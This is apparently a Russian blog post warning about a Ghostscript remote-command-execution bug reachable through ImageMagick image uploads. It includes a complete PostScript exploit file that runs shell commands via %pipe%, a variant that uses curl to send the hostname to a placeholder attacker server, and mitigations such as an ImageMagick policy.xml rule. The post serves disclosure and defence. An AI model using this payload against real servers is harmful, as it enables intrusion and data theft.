Кратко: если у вас на сайте есть загрузка изображений и вы обрабатываете их при помощи популярной библиотеки ImageMagick, то загрузив картинку можно выполнить shell-команду с правами юзера веб-сервера (например: загрузить RAT, майнер, слить исходники, получить доступ к базе, вызвать отказ и т.п.)

Странно, что мимо хабросообщества прошла стороной новость (оригинал) о новых дырах в библиотеке GhostScript и как следствие множестве других библиотек, использующих её под капотом. Итак, что мы имеем?

Как проверить, что ваш сервер уязвим?

Берём и загружаем тестовый .ps файл на сервер вместо картинки. Пример файла ниже не сильно вредит — лишь делает 5-секундную задержку. Если сервер отвечает дольше 5 секунд, то у вас проблема: или ваш сервис уязвим или он оооочень медленно работает =)

%!PS
% This is ghostscript bug 699714, a variant of 699687 (which is itself a variant of 699654).

userdict /setpagedevice undef
a4

currentpagedevice /HWResolution get 0 (foobar) put
{ grestore } stopped clear

% make sure we have a device with OutputFile
(ppmraw) selectdevice

mark /OutputFile (%pipe% `sleep 5`) currentdevice putdeviceprops

{ showpage } stopped pop
quit

Ключевая команда: sleep 5

Альтернативной командой может быть

mark /OutputFile (%pipe% curl evilserver.su/GHOSTSCRIPT-RCE-HOOK/`hostname`) currentdevice putdeviceprops

или что-то гораздо менее безобидное.

Векторов эксплуатации множество. Кроме загрузки в обработчик картинок можно просто прислать ссылку на .ps файл жертве и так как в большинстве ОС при сохранении его на компьютер создаётся превью, это также в��зывает эксплуатацию (проверено лично на Linux десктопе). На момент написания ни один антивирус не детектил тестовые .ps файлы как опасные.

Что делать?

К сожалению, не смотря на публикацию информации об уязвимости и исправление ошибки, в обновлениях дистрибутивов может не быть исправленной версии.

На серверах можно сделать предварительную проверку типа изображения сторонней библиотекой, фильтрацию через policymap файл ImageMagick/policy.xml и не обрабатывать уязвимые типы файлов. Также SELinux должен закрыть часть векторов атак, например запись в нестандартные папки.

UPD: в комментариях пишут что уязвимость всё ещё не исправлена в библиотеке!

UPD2: фикс для фикс для imagemagick для запрещения использования PostScript и PDF файлов от elvenpath: в файле /etc/ImageMagick-6/policy.xml или /etc/ImageMagick-7/policy.xml в зависимости от версии ImageMagick нужно написать:
<policymap>
 <policy domain="coder" rights="none" pattern="{EPS,PS2,PS3,PS,PDF,XPS}" />
</policymap>
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
А ты проверил свой сервер?
33.33%У меня неуязвимый сервер39
5.13%У меня была уязвимость, но теперь её нет6
61.54%У меня и проверять то нечего72
Проголосовали 117 пользователей. Воздержались 72 пользователя.